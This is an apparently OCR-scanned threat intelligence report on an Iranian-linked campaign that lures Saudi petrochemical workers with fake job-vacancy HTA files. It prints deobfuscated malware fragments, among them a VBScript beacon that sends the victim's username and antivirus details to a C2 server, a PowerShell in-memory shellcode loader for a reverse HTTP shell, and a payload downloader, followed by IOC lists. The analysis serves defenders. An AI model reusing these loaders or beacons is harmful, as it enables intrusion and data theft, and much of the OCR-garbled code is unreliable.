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Introduction

Following the recent discovery of suspicious script files exposed on dynamic DNS (DDNS) hosts, presumably due to
misconfiguration by the threat actor given that the ‘directory listing’ option was enabled (Figure 1), Cyberint
investigated the content to determine its nature.

Following an analysis of all files, including multiple levels of script deobfuscation, these DDNS hosts appear to
contain lures and payloads consistent with an Iranian nexus state-sponsored threat actor. Given the organisations
identified within this content, the intended victims are likely individuals working in the petrochemical industry with
an apparent focus on Saudi Arabia.

Index of /aramco Index of /samref

Name Last modified Size Description Name Last modified Size Description

a DParent Directory -
@ AramCoJobs hta 2018-09-2509:20 23K
aramcocareers.html 2018-09-1501:23 10K
aramcocareers? html 2018-09-24 03:13 99K
2018-08-20 12:15 64K

3 Parent Directory, -
@ SamreflobsVacancies.hta 2018-10-21 08:08 24K
@ index.png 2018-10-07 03:22 35K
@ main_banner.jpg 2018-10-07 02:57 897
2018-10-07 06:33 74K

@ emaillogo.png @ posh80 psl

[?] resiverphp 2018-09-25 04:44 59K [P] posh443 pst 2018-09-08 06:05 73K
sty.css 2018-08-21 11:15 456K [P] samreft48 psl 2018-10-08 03:05 79K
style.css 2018-08-21 11:15 456K samrefjobs html 2018-10-08 05:42 11K
style? css 2018-08-21 18:15 436K stv.css 2018-10-07 02-42 456K

Apache/2.4.35 (Debian) Server at aramcaojobs.ddns.net Port 880 4pache/2.4.35 (Debian) Server at mynetwork. déns.net Port 8§80

Figure 1 — DDNS hosts exposing potential APT malicious scripts (‘directory listing’ enabled)

Based on the content found within this, and subsequently further identified, threat actor command and control
(C2) infrastructure, the campaigns utilise a lure masquerading as a job vacancy relevant to the target and, through
the download and execution of multiple stages of encoded scripts, appear to result in victim information being
transmitted to this C2 infrastructure, the delivery of further payloads and the execution of a reverse HTTP shell.

An initial investigation into the observed tactics, techniques and procedures (TTP) along with the identified
indicators of compromise (I0C) suggest consistencies and similarities between this campaign and previous APT33
activity, as reported by FireEye in 20172

APT33, widely attributed as an Iranian state-sponsored threat actor, is believed to have been operating since at
least 2013 and was reported on during 2017. Typical targets for this threat actor appear to align with Iranian
national interests, specifically the aerospace, defence and petrochemical industries in Saudi Arabia, South Korea
and the United States. As observed in this campaign, previously identified APT33 TTP includes the use of spear-
phishing emails with weaponised HTML application files, often masquerading as job vacancies, as well as the
creation of domains and Dynamic DNS hosts, acting as C2 infrastructure, that utilise names impersonating
legitimate organisations relevant to the attack.

L https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
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Attack Summary

Whilst the initial distribution vector has yet to be identified, previous campaigns sharing similar TTP suggest that
victims would be specifically targeted and lured into executing a weaponised HTML application (HTA). As with
previous campaigns, the HTA files contain job descriptions cloned from legitimate websites that would presumably
be of interest to the target victim. In the past, it is reported that victims would be targeted with spear-phishing
emails, recruitment-themed lures, containing links to the weaponised HTA file.

When lured into opening the HTA file, the victim is presented with the cloned job description whilst, in the
background, multiple malicious scripts are executed. In addition to ‘calling-home’, these scripts download
additional payloads to the victim as well as configuring scheduled tasks for persistence (Figure 2).

Rather than delivering multiple executable files, this campaign makes use of numerous JavaScript (JS), Visual Basic
(VBS) and PowerShell (PS) scripts which, along with utilising native Windows functions, allows the threat to ‘live off
the land’ and maintain a smaller footprint to evade detection. To counter analysis and potentially signature-based
detection, multiple layers of script obfuscation have also been employed and a file-less payload delivered for
execution in memory rather than being saved to disk.

In addition to the lure HTA files cloning job descriptions, the C2 DDNS subdomains and folder structures attempt to
masquerade as being associated with the same legitimate organisations. In this instance, three Saudi Arabian
organisations were identified used in the lures and masquerade C2 DDNS hosts:

4 Saudi Arabian Oil Company (Aramco);
4 Saudi International Petrochemical Company (SIPCHEM);

4 The Saudi Aramco Mobil Refinery Co. Ltd. (SAMREF);

Additionally, the presence of filenames beginning with ‘POSH’, and subsequent discovery of the DDNS host name
‘mypsh.ddns.net’, suggests that a fourth organisation has also been targeted. This organisation could be related to
the ‘POSH Saudi Company’, a joint venture created in 20162 with ‘PACC Offshore Services Holdings Ltd’ that provides
offshore marine services to the petrochemical industry.

As such, this campaign likely targets victims employed at these, or other petrochemical industry organisations,

within the region. Furthermore, based on the TTP observed thus far, there are multiple consistencies and

similarities with previously reported APT332 activity, specifically:

4 Targeting Saudi Arabian petrochemical industry (APT33 previously targeted Saudi Arabian, South Korea and
United States interests in the aerospace, defence and petrochemical industries);

4 Malicious HTA files containing cloned job descriptions (APT33 previously sent targeted spear-phishing emails
to lure victims into opening the HTA payloads that posed as job vacancy details);

4 Use of Dynamic DNS services for C2 infrastructure (In this instance ‘ddns.net’ appears to be favoured although
previously ‘servehttp.com’ has been used and both belong to the same ‘No-IP’ service hosted at ‘noip.com’).

2 https://www.offshoreenergytoday.com/posh-bolsters-middle-east-presence-with-new-jv/

3 https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
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Figure 2 — Attack summary
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File Analysis

As expected with any advanced threat, each script file in the attack utilises multiple levels of obfuscation to make
casual analysis difficult and often to thwart legacy signature-based detection. In this instance, multiple obfuscation
techniques appear to have been deployed although there are some observed similarities in the obfuscated code
and the output of exploits generated by Cobalt Strike, or a derivative. Furthermore, code reuse from previous
campaigns is not uncommon, even for advanced threat actors, as many will continue to reuse tried and tested
techniques if they continue to be effective.

4 <aramco|samref|sipchem>.hta

Multiple HTML application (HTA) files were identified across three C2 hosts and masquerading as three Saudi
Arabian petrochemical organisations ‘Aramco’, ‘SAMREF’ and ‘SIPCHEM’. Based on TTP consistent with previous
campaigns, these HTA files are likely referenced by employment-themed lures sent to specific targets in the industry
and region.

Once accessed by the victim, the HTA file displays a ‘Please Wait to load job description ..."[sic] message and loads
a HTML file containing the cloned job description in an iframe (Figure 3). Rather than being embedded within the
HTA file, the job description is hosted on the C2 DDNS host, presumably to allow the HTA payload to be reused with
minimal change; instead the threat actor can update or replace the cloned job description HTML file as and when
required.

Whilst the victim is distracted by the seemingly legitimate content, four obfuscated malicious scripts are executed
in the background.

Please Wait to load job description ...

Operations Engineer
Aramco Services Company

APPLY NOW

The Operations Engineer will be required to perform the following:
+ Create and manage contracts with consultants and contractors.

« Supervise design and construction of petrol stations.

+ Devel

+ Implement and supervise HSSE policies related to construction and maintenance of petrol stations .

service level

« Create standards for the design, construction and maintenance of petrol stations.
« Develop and manage (in cooperation with Public Relations) the visual identity of Saudi Aramco petrol stations. Evaluate and optimize cost estimates,
project budgets and schedules.

o Manage retail business (Fuel/Non-Fuel) development process from screening through deal closure.

« Drive screening and validation activities to progress proposals through stage gates.

« Leadefforts toformulate a resource and funding plan to transform retail business (Fuel/Non-Fuel) proposal from concept to a closed deal.
« Lead retail business (Fuel/Non-Fue) planning and economic modeling.

+ Determine the scope and objectives of the deal, offering messaging and technical solutions that embody Saudi Aramco's retail business (Fuel/Non-
Fuel) offering.

+ Provide administrative direction and personnel management to all assigned retail business (Fuel/Non-Fuel) Development Analysts.
diffel

+ Support the develop

Figure 3 — HTA lure purporting to 'load job description’
Clicking the ‘Apply Now’ link will attempt to redirect the victim to the legitimate job advertisement.

<aramco|samref|sipchem>.hta : Embedded Script One

The first embedded script, hexadecimal-encoded JavaScript, includes a single function which decodes another
hexadecimal-encoded string located between the second and third ‘unescape’ statements (Figure 4).
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%27") ' R4sk7TREBNTONGERT
3 7ok6eXoaXs6XedXrdR7bET 4%
XeeXs3¥eTReBXeceak T dR2aX23X5bX7 dXedk70X6ak7 2% 5%34%5 5%b2%?d%?b%?ﬂ‘.¥?@%? 5%22%29%16
%b%?d‘%?e‘ﬁ?l%?&%?L%Ed%? %? 3%7 X21%A5% 2587 3061067 X5 ThedR7 dA bR 1R 2R 77 %3 TRSdR7BR0dE7 1X5bXe 287 5% 6 X1 SKRak1
TEBBRLcXedRTIN22NS5 X6 2K T T BETER T80
34%56'Kﬁf‘¥?e%?8

-%?d%?c%"Z%BE 54%66%75%6-’ ?ﬂ%?'lﬁﬁlﬁbL%Ed%’a%ﬁ-Q- b%?B 1 12
1 2%42%74%79X69X5dX66%T IXTART cX5 287287 1X6eX7eXeTH9%22%4a%e6 287 dX 2 2K6dXe 9K 7 d% 70X 6
9%1 Mb%l?'l akack7eX7aX68X7eXoBR7 CRTTR22X4 KT 3XT6XTdXT3 %?5¥ﬁd%2d¥?f‘¥?f¥?f'¥4c %7 5%5(1%2‘3‘3'1

..%4d!¥-??%6&5\§35 ; ,' 2%735 '3%22.%'31%?1‘%?&3%? 37 d%7

%2a¥15%ebX22X 20X 5dXedXTdE22RABXTSRETE2dEARK 22X 5 BT FE7dE36X4dX70X6dR6EXN 22X 2 1 XeaXkT6R6XI7HEd]

22340766 e 3 TR T RT c XA A T 7R I4X S T RRE BN T 1 X6 566 aX T4Re TR 20K 7 X7 XN 70RABN 75 Re TH2dR2 TR

28%12%08%23%2d¥a K7 SKedN AN ANT cHoeH4ak 74X INAFHTTHT X7 c X6 dX 16X 0sk2 A OXGOET 1X6dR2 IXACKT TR TR dXTE ;
%75%6dR34%58%7 ke TRoch7ek7eR37h50K0TH6IX0ckooMe9R73RedX37R2dX23%44%23822K2e X208 7 TR 7 dbTOXA8R75X6TR26821%45%21%3
2%20%3 5 8%ed%73k6eX14X07 ®22%4d%73%20%3a%22X50%7dXToRT 2K 7 ch71%21%45%21 K4 TX7 76 k34X 5 X7 eX69X53KT cR71RITR
seXeeX6e1¥6ckaX%69%77R6dX12X0BX23X2dX21%22X4ake cR20%4dR 7 5X6dRI4X 58X 7 e X6 TR X7 ek 7eR37H41%7 cRATRT4X6dX5 3XebHS TR T
A7 TRoeRe1X76X22X5ckeBR6dRT 2% aXb8X71%21%4=%70%22%61%1 7ROBX21X22%25%2 2%41:%?‘?‘}?c%6d%2 l‘ﬁ'ﬁﬂ'ﬁﬁf‘%?c %?d‘i:? %?4‘}'2
S¥ASX23XsTHeeX X T ek 0N T 6k20! E21X53%7aX7eRTIET 2N TAN2 2H2FH2 257 e Xb 2%

AcKTIRTIXHTTRT 27 9X6 e 2 2% 46 L%Hz'ﬁﬁf%?e%?t%?ﬂx??} 1 SXAIRA KT TXEK:

Feck7TRITE72K60%72%41%63K74K7dR69% L%?-.B%M%?B%?d%be%?l ?d%?r i2ek2 8¥2f%bf%? 1%69%75%6ck76X0dk16%20
1¥6ek74%2d%2 1%66%65%22%22 E7FR7dR70%7ak7 TRe T TR7 76187 6%ed%2e% 0%35%22%4bX6e1XT77%70%6
SEXA9X5eXo0X5 230K 4%E SERaXAakI N7 e TRy THAOXET 3X71XAT 76944 23X 34X 37H30X37X36XIBN34 "

Figure 4 — Hexadecimal-encoded string

‘Un-escaping’ the code surrounding the hexadecimal-encoding string allows the decoder function, to be viewed
(Figure 5).

itk.length))"s.c

Figure 5 — Decoder function revealed

Debugging this code within a controlled environment allows the final VBScript payload to be captured (Figure 6).
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script language
Set objNetwork j ("Wscript.Network™)
strusername - objNetwork.

Set Network ea ject("WScript.Network™)
Domain Network.UserDomain

IC /Node:localhost /Namespace: \SecurityCenter2 Path AntiVirusProduct Get displayName

.StdIn.WriteLine strCmd
.5tdIn.Close
Instr(Cmd.StdOut.ReadLine, ">" & strCmd)
: Output = Cmd.StdOut.ReadlLine
Cmd . StdOut . AtEndOfStream
Return & Output 2 vbLf

Set OKMLHTTP 3. €
oXMLHTTP.Open "GET ynetwork. . 888/ aramc siver.php?anti="4istdouti"&cliname=""Domain
strusername™" :
oXMLHTTP. Send
/script

Figure 6 — Final ‘VBScript’ payload

Analysis of the resulting VBScript suggests that it acts as a call-home beacon, sending details of the victim’s antivirus
software, obtained using native Windows Management Interface command-line (WMIC) functionality, along with
the victim’s domain name and username to a PHP script named ‘resiver.php’ on the C2 host.

The C2 PHP script in this instance, ‘resiver.php’, is potentially a misspelling of ‘receiver’ which would be consistent
with its apparent functionality.

<aramco|samref|sipchem>.hta : Embedded Script Two

Following the ‘<l-- PL -->" HTML comment, the second embedded script utilises obfuscated variable names and

concatenation, rather than hexadecimal-encoding (Figure 7) to ultimately hide shellcode which launches a HTTP
reverse shell.

< >
‘l"'|I:lrl"ln:l,_l"lE'i'W''|_r
wcpRKUHOZN
RulstxTrzYD
MPETWYrrRvxsCx
PCaETOQIwWXY] (YijDrMeQhBOs1Z + wcpRKUHoZNcZpzPzhnlw + RulsTzxTrz¥YD + MPETWYrrRvxs
DoOVRms XUQhNGZITPO z ActiveXObject(PCaETQQIWQXVI);
ULRXZmHs CORQNoLHP W 3
zhKokjoiBdFhTLIGUQD = "d.e™;
KoORGLpnUicmMHtWdpkRvmXeQN
oORGlpnUicmMHtWdp = ™.";
FKeRG1zVWwDMH (ULRXZ mHsFDRgHDLHP)N ’hFﬂkjoinFhTLiGUﬂD huﬂRhlan1cmHH+NdpLmeXEQNJ,
5 JOth ]TPOlemq:sA run(

Figure 7 — Obfuscated variable names

Manual deobfuscation of this code is relatively simple, concatenating and renaming variables, allowing the script
functionality to be easily understood (Figure 8).

objWSH
objWSH. run(

AecB1ACAAL O

Figure 8 — Manually deobfuscated code

'8 Confidential | Cyberlint Copyright © All Rights Reserved 2018
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The creation of a ‘WScript.Shell’ object subsequently executes Microsoft PowerShell, included by default with
Microsoft Windows 7 onwards, and passes a base-64 encoded string which itself contains multiple layers of
obfuscation.

([IntPtr]::5ize -eq 4)

I
L

b
1
I
L
$b=%env:windir

s

$s Object System.Diagnostics.ProcessStartInfo;
$s. eMame=%b;
$s.Arguments

eShellExecute-%$false;
directStandardOutput-$true;
s . Windowstyle
%s.CreateNoWindow-%true;
$p-[System.Diagnostics.Process

Figure 9 — Base-64 decoded PowerShell script

In addition to being base-64 encoded, the payload utilises Gzip compression. Utilising GCHQ’s CyberChef* utility,
the following recipe can be used to decode the obfuscated content when passing only the base-64 content:

[{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Gunzip","args":[]}]

The resulting PowerShell script decodes yet another base-64 encoded string resulting in shellcode, a ‘file-less’
malicious payload (Figure 10). Through the use of various .NET API calls, this PowerShell script locates and allocates
space in memory into which this file-less malicious payload is copied and executed.

This code appears to have been used in a number of unrelated campaigns and is likely generated by a tool that is
not unique to this threat actor. Additionally, the resulting shellcode, when viewed as a hexadecimal dump, appears
to be consistent with Windows payloads generated by tools such as CobaltStrike or Metasploit, again suggesting
the use of off-the-shelf tools.

4 https://github.com/gchq/CyberChef
'9 Confidential | Cyberlint Copyright © All Rights Reserved 2018
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function vNKS {
Param ($aRzl, $nxk)
$sN = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache $_.Location.
Split(

$sN.GetMethod(

¥

function erHxE {
Param (
[Parameter(Position = @, Mandatory = $True)] [Type[]] $z@vaD,
[Parameter(Position = 1)] [Type] $el1] [Void]
)

$oA = [AppDomain]::CurrentDomain.DefineDynamicAssembly ((New-Object System.Reflection.AssemblyName(

$oA.DefineConstructor(

$oA.DefineMethod(

$oh.CreateType()
¥

[Byte[]1]1$f8 = [System.Convert]::FromBaseg45String(”/0iCAAAAYINIMcBki1AWi1TMi1TUi3ToDYdKIjH/ rDxhfATSIMHPDOHHAW]S
VAtSETEKPItMEX] jSAHRUY tZIAHTiekY4zplizSLAdY =/ 6zBzw@Bxz jgd f YD f g7 fSR1SFiLWCQBE2a L DELULWEBWERA s EiwHQiUQkIFtbYV1alf
/gX1%ixLrjViebmveach3akspVehMdyYH/ 9Ux2INTUINT aDplkleat /IVNTagNTU2 JAAQAAEBM S AAAAVDDNmE L dwSmF TVGh 3ZG5GMa s 5Y IVULX
LsNGNuLMWVY aFhCYUSLZ 1V zeVdVb3VWNGp SWFdUTUhZdENtQQBQaF e In8b/ 1¥YnGU2 gAMuCEUINTVINKWAaOEVL jv/1ZZ7qC1 YogDMAATnzagRQah W
aHVGnob/1VNTUINWaC@GaGHY / 1YXAJRRoiBMAAGhEBDX g/ IVPd c305g AAAGPASAADAABOAABAAFNOWKRT ST/
VkINTiedXaAAgAABTVMESloni,/ SWFWHT PiwcBwaXAdeVYwl foa// f/zESMi4xMTkuMTUuMzUAW/ Clo1ZgAFP/1Q==")

fce [System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer((vNKS kernel32.d1l VlrtualAlloc]
» (erHxE @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]})).Invoke([IntPtr]::Zero, $f8.Length,®x300

2x40)
[System.Runtime.InteropServices.Marshal]: :Copy($f8, 8, $ce, $f8.length)

fvHelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer({vNKS kernel32.dll
CreateThread), (erHxE @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])}).Invoke([
IntPtr]::Zero,8,%ce, [IntPtr]::Zero, 8, [IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer ({vNKS kernel32.dll WaitForSingleObject
) (erH=E @{[IntPtr], [Int32])}).Invoke($vHELf,0x )] Null

Figure 10 — Final PowerShell script with ‘file-less’” malicious payload

Disassembly of the shellcode allows its functionality to be determined (Figure 11), namely the use of ‘wininet’ to
communicate with a webhost, and provides further confirmation that the payload is consistent with a Metasploit
Framework (MSF) reverse HTTP shell, detected by ClamAV as ‘Win.Trojan.MSShellcode-7".

68eb552e3b  push @x3 : 3 "wininet.dl1l", "HttpOpenRequestA™
ffds call ebp
26 xchg eax, esi
6aba push Bxa
f pop edi
push @x3388 ; "INTERNET OPTIOM SECURITY FLAGS (SECURITY FLAG
mov eax, esp
push 4
push
push @xlf
push
push @x869e4675 ;3 "wininet.dll", "InternetSetOptionA™
call
push
push
push
push
push
652d06187b @x7bl8es2d ; "wininet.dll™, "HttpSendRequestA™

(9 IV N, [, W |

Figure 11 — Disassembled shellcode
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Static analysis of this shellcode also identified a hardcoded C2 IP address, ‘192.119.15.35’, which is consistent with
the address that the identified C2 DDNS domains resolve to. Whilst no valid C2 traffic has been captured, execution
of the payload indicates that it connects to this IP address on port ‘448’.

Furthermore, inspection of the C2 DDNS hosts identified PowerShell scripts with filenames ending with numerical
values, such as ‘...448.ps1’, that could refer to port numbers. Given this, similar payloads using C2 hosts with
different port numbers may be configured.

<aramco|samref|sipchem>.hta : Embedded Script Three

Following the ‘<!—download MSFeeds -->" HTML comment, the third embedded script utilises the same
hexadecimal-encoded obfuscation method as the first embedded script with a similar decode function (Figure 12).

cAbgAuAE
AGIAagBL

Figure 13 — PowerShell command

Once executed, this PowerShell script attempts to connect to the C2 DDNS host to download and execute an
encoded Visual Basic Script (VBE) file (Figure 14).

$down = New-Dbject System.Net.WebClient
furl
$file

$down . Do cadFile($url,$file);
fexec Vew-Dbject -com shell.agpplica

Figure 14 — VBE file download

Unlike the shellcode in the previous script which is memory-resident, this VBE file is download and stored locally
within the victim’s ‘AppData’ folder:

C:\Users\<Username>\AppData\Local\Microsoft\Feeds\MSFeeds.vbe

<aramco|samref|sipchem>.hta : Embedded Script Four

Following the ‘<!--add schtasks --> HTML comment, the fourth and final embedded again uses the favoured
hexadecimal-encoded obfuscation and decode function. As a result of deobfuscation and clean-up, it is clear to see
that the HTML comment accurately reflects the script action, namely the creation of multiple scheduled tasks using
the native Windows scheduled tasks utility ‘schtasks.exe’ (Figure 15).

'11 Confidential | Cyberlint Copyright © All Rights Reserved 2018
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script
objWSH v ActiveXDbject(“WScript.Shell™);
objWSH. run(

Figure 15 — Creation of scheduled tasks for persistence

Scheduled to run every two hours from 0100hrs to 2300hrs, twelve tasks are created to execute the locally-stored
VBE file, as downloaded in the third HTA embedded script. Notably, in this case, the downloaded file was named
‘MSFeeds.vbe’ whilst the scheduled tasks refers to ‘MSFeed.vbe’ (lacking the ‘s’), as such this particular payload
would fail to be executed as scheduled. Presumably, when configured correctly, this acts as a persistence
mechanism.

4 <Feed>.vbe

Observed with filenames such as ‘MSFeed.vbe’ and ‘CHFeeds.vbe’, this encoded Visual Basic Script is dropped by
the third embedded script within the HTML application (HTA) phase and should, assuming the scheduled tasks are
configured correctly, execute on the victim machine every two hours daily from 0100hrs to 2300hrs.

As a Microsoft Script Encoded and Gzip compressed file, GCHQ's CyberChef utility can be used to revert the file
back to its native Visual Basic code:

"

[{"op":"Microsoft Script Decoder”,"args":[]},{"op":"Gunzip","args":[], "disabled":true}]

Upon execution, the script will first determine if PowerShell is already running, if so, the process will be terminated
(Figure 16).

inning(strCmptr,Prcess)

t ("WScript.shell™)
shell.exe /f && exit™

Figure 16 — Check for, and terminate, existing PowerShell processes

Subsequently, a new PowerShell process is created and executes a script that has been obfuscated using the
‘SecureString’ function (Figure 17).

'12 Confidential | Cyberlint Copyright © All Rights Reserved 2018
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Set objshll

prshell-"p 3 w1l . (! comSpEc[4

RuNTIme.INte AL]: :ptrTOStRINgb

£492d11 ! ! Al Al AGAARZBUAFEAPQADA

-

3AGIA

Figure 17 — Execution of 'SecureString' encoded PowerShell script

Comment: Notably, the code in Figure 17 is repeated both inside, and outside, of the ‘isPrcssRunning’ IF
statement. Whilst this is programmatically functional, it could be optimised and may suggest that
the script has been ‘hacked’ together from other code.

Debugging this code within a controlled environment allows the final PowerShell statement to be observed, namely
the creation of a new object that downloads another PowerShell script, ‘registry.ps1’, from the C2 server (Figure
18).

Figure 18 — PowerShell downloader

A Registry.psl

Unsurprisingly, given every other script in this campaign analysed thus far, this PowerShell script file contains
multiple layers of obfuscation, starting with base-64 and 1ISO-8859-1 encoded content (Figure 19) that then reveals
another layer of base-64 encoding and compression.

.StreamReader((a IO.Compression.DeflateStream([I0.MemoryStream][Co

Figure 19 — First layer of deobfuscation

Using GCHQ'’s CyberChef, a single recipe can extract from, and decode, the original PS1 script:

[{"op":"Regular expression","args":["User defined","(?:-e\\s)(.+)",true,true,false,false,false,
false,"List capture groups"]},{"op":"From Base64","args":["A-Za-z0-9-_ " true]},{"op":"Decode
text","args":["ISO-8859-1 Latin 1 Western European (28591)"]},{"op":"Regular expression”,
"args":["User defined","(?:FromBase64String\\(')(.+)(?:'\\),)", true, true, false,false,false,false,
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"List capture groups"]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Raw
Inflate","args":[0,0,"Adaptive" false,false]}]

Once processed, the resultant PowerShell script can be reviewed and additional C2 URLs determined (Figure 20).

:80/images/static/content/™

Figure 20 — Additional C2 URLs

Analysis of this script on 5 November versus 6 November 2018 identified a change in C2 hosts suggesting that the
threat actor is actively maintaining this campaign or taking steps to mitigate or thwart investigations.

As of 5 November 2018, analysis of this file with SHA-1 hash ‘e075675f33a040061e39f40fb87660502fd432a4’
identified the following C2 URLs (defanged):

hxxp.//mypsh.ddns.net:80
hxxp://mypsh.ddns.net:80/images/static/content/
hxxp.//mypsh.ddns.net

Conversely, analysis of the same filename on 6 November 2018, as obtained from the same C2 but with SHA-1 hash
‘9562b143f50335falcf59e63df25fcda86b87324’ identified the following C2 URLs (defanged):

hxxp://www.pshserver.ga:80
hxxp://www.pshserver.ga:80/images/static/content/
hxxp://www.pshserver.ga

When executed, the script appears to obtain system information (Figure 21), similar to the earlier script,
including the domain name, username, computer name, process architecture and process ID. Of these, the
username and process ID appear to be those under which the script is running. Subsequently, this victim
information is concatenated into a single string and encoded in preparation for ‘call-home’ communications.

try{$u=([Security.Principal.WindowsIdentity]: :GetCurrent()).name} catch{ ($env:username -eq
%(Fenv putername)$™){} {3u=%env:iusername}}

L

$o="%env:userdomain\$u; $u; Fenv: computername; fenv: PROCESSOR ARCHITECTURE; $pid;http://wew.pshserver.ga™
Figure 21 — Collection of victim information

Prior to sending the collected victim information, a date test (Figure 22) is performed to check that the current date
falls before ‘29/12/2020’. Presumably acting as a long-term kill switch, the script will exit if this test fails.

yyyy",$null);

', dd/MM yyyy™ ,$null);

Figure 22 — Date test

Additionally, this script provides unused functionality for the configuration of a proxy as well as setting HTTP
headers for ‘User-Agent’, ‘Referer’ and a cookie ‘SessionID’ (Figure 23).
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(th (($psversiontable.CLRVersion.Major -gt 2))) {$wc.Headers.Add("Host",%h}}
($h){f=script:s="http (fh)images/static/content/";$script:sc="http £(3h)"}
$wc .Headers. [ s Mozilla/5.@ (Windows NT 6.3; WOWB4; Trident/7 Touch; rv:11.8) like Gecko")
$wc .Headers . Add(
($proxyurl) {
$wp = New-Object System.Net.W ($proxyurl,ftrue);
(fusername $password) {

$Ps5 ConvertTo-SecureString $password -AsPlainText -Force;

$fgetcreds new-object system.management.automation.PSCredential $username,$PS5;
$wp.Credentia fgetcreds;

T 1 $wc.UseDefaultCredentials = $true; }

$wc.Proxy = $wp; T 1

$wc .UseDefaultCredentials $true;

$we.Proxy.Credentials fwec.Credentials;

T ($cookie) { $wc.Headers.Add([System.Net.HttpRequestHeader]: :Cookie,

Figure 23 — HTTP Header configuration

Notably, the ‘SessionID’ cookie HTTP header contains the encoded victim information string which will be received
by the C2 host upon connection. Furthermore, the use of a specific ‘User-Agent’ and ‘Referer’ string may serve as
a way of ensuring that the C2 only communicates with legitimate victim machines.
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Indicators of Compromise (I0C)

A Files

Hosted on mynetwork.ddns.net:880:

216fe0fdfbb56523c016a57b1f7f80e9849¢639c
9562b143f50335falcf59e63df25fcda86b87324
e075675f33a040061e39f40fb87660502fd432a4
742b79e13b57d148611edf89e43d7ab0573db1d9
8d56a757b251cdc8ae8157aac96aa73f08aedbel
d06adb8f2629e39ce2faf36fa6f2f28a91b43a3c
055920b093cfc5030d617ac2511¢c74051cf53288
ee5ba281bcec3544e41dcdldadbb3fl2eb6de2ee8
70939f938be083e13961791b4b31b064087741ab
03f11ac16c72e26707119725864a98b7ffb642ae
7b3e3b26b24ecaal25705f2ad0db4b7439e9e22b

Hosted on aramcojobs.ddns.net:880:

7454790ad5619c80f32c8bc202a33043f133ed10
853d8eb287ae013b6e4f293eaf9ef16d41d92c40
dc0d60a841dbfa2629e2694ec0cafb9bd3059e06
(dc0d60a841dbfa2629e2694ec0cafb9bd3059e06)
(dc0d60a841dbfa2629e2694ec0cafb9bd3059e06)
€1502361b647f189592575fb3879f07db943caab
5fd81868f9c37f451f9bb9cecfal78a60d7384de

Hunt-identified related threats:

441e092325d266b47356615086def5f5164292fb
2eb88b870a3bcfefe7add0dcd814a6dc49221846
0d7d7ef245b54a7755c00cc4a31f880dea066731
19620c0ceca8f22a3e0090013fdd8396ecc4b030
dcf76dca0ef348e4c6d9345b995e26206010b66d
1fe5bddd0105d66d23c947be87117a0788b9390e
9fe61a81c183af49a466569bd51b475598c2b4e6b

4 Domains

aramcojobs.ddns.net [DDNS; 192.119.15.35]
mynetwork.ddns.net [DDNS; 192.119.15.35]
mynetwork2.ddns.net [DDNS]
mypsh.ddns.net [DDNS]

pshserver.ga

CHFeeds.vbe [2" Stage; Scheduled task]
registry.ps1 [3™ Stage; 6 November 2018 Version]
registry.ps1 [3™ Stage; 5 November 2018 Version]
samref\index.png [Lure image]
samref\main_banner.jpg [Lure image]
samref\posh80.ps1 [References ‘mypsh.ddns.net’]
samref\posh443.ps1 [References ‘mypsh.ddns.net’]
samref\samref448.ps1

samref\samrefjobs.html [Lure job description]
samref\SamrefJobsVacancies.hta [1° Stage]
samref\sty.css [Lure CSS]

aramco\AramColJobs.hta [1% Stage]
aramco\emaillogo.png [Lure image]

aramco\sty.css [Lure CSS]

aramco\style.css [Lure CSS]

aramco\style2.css [Lure CSS]
aramco\aramcocareers.html [Lure job description]
aramco\aramcocareers2.html [Lure job description]

[Scheduled task creation script]
[Scheduled task creation script]
[Scheduled task creation script]

[Lure job description; Aramco; HTA]
[Lure job description; Aramco; HTA]
[Lure job description; Aramco; HTA]
[Lure job description; SIPCHEM; HTA]

remote-server.ddns.net [DDNS; OSINT Link; Previously associated with 192.119.15.35]
saharapcc.ddns.net [DDNS; OSINT Link; Previously associated with 192.119.15.35]

sipchem.ddns.net [DDNS]
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A |P Addresses

192.119.15.35 [aramcojobs.ddns.net; mynetwork.ddns.net; Assigned to ‘24 Shells, US’]

4 URLs

hxxp://192.119.15.35:880/resiver.php
hxxp://aramcojobs.ddns.net:880/aramco/aramcocareers.htmi
hxxp://aramcojobs.ddns.net:880/aramco/aramcocareers2.html
hxxp://aramcojobs.ddns.net:880/aramco/AramColJobs.hta
hxxp://aramcojobs.ddns.net:880/aramco/resiver.php
hxxp://aramcojobs.ddns.net:880/aramco/emaillogo.png
hxxp://aramcojobs.ddns.net:880/aramco/sty.css
hxxp://aramcojobs.ddns.net:880/aramco/style.css
hxxp://aramcojobs.ddns.net:880/aramco/style2.css
hxxp://mynetwork.ddns.net:880/CHFeeds.vbe
hxxp://mynetwork.ddns.net:880/registry.ps1
hxxp://mynetwork.ddns.net:880/aramco-p80.ps1
hxxp://mynetwork.ddns.net:880/aramco-p443.psl
hxxp://mynetwork.ddns.net:880/samref/index.png
hxxp://mynetwork.ddns.net:880/samref/main_banner.png
hxxp://mynetwork.ddns.net:880/samref/posh80.ps1
hxxp://mynetwork.ddns.net:880/samref/posh443.ps1
hxxp://mynetwork.ddns.net:880/samref/samref448.ps1
hxxp://mynetwork.ddns.net:880/samref/samrefjobs.html
hxxp://mynetwork.ddns.net:880/samref/SamreflobsVacancies.hta
hxxp://mynetwork.ddns.net:880/samref/sty.css
hxxp://mynetwork2.ddns.net:880/sipchemp443.psi
hxxp://mypsh.ddns.net
hxxp://mypsh.ddns.net:80/images/static/content/
hxxps://mypsh.ddns.net
hxxp://sipchem.ddns.net:880/sipchemcareers.html
hxxp://www.pshserver.ga
hxxp://www.pshserver.ga:80/images/static/content/
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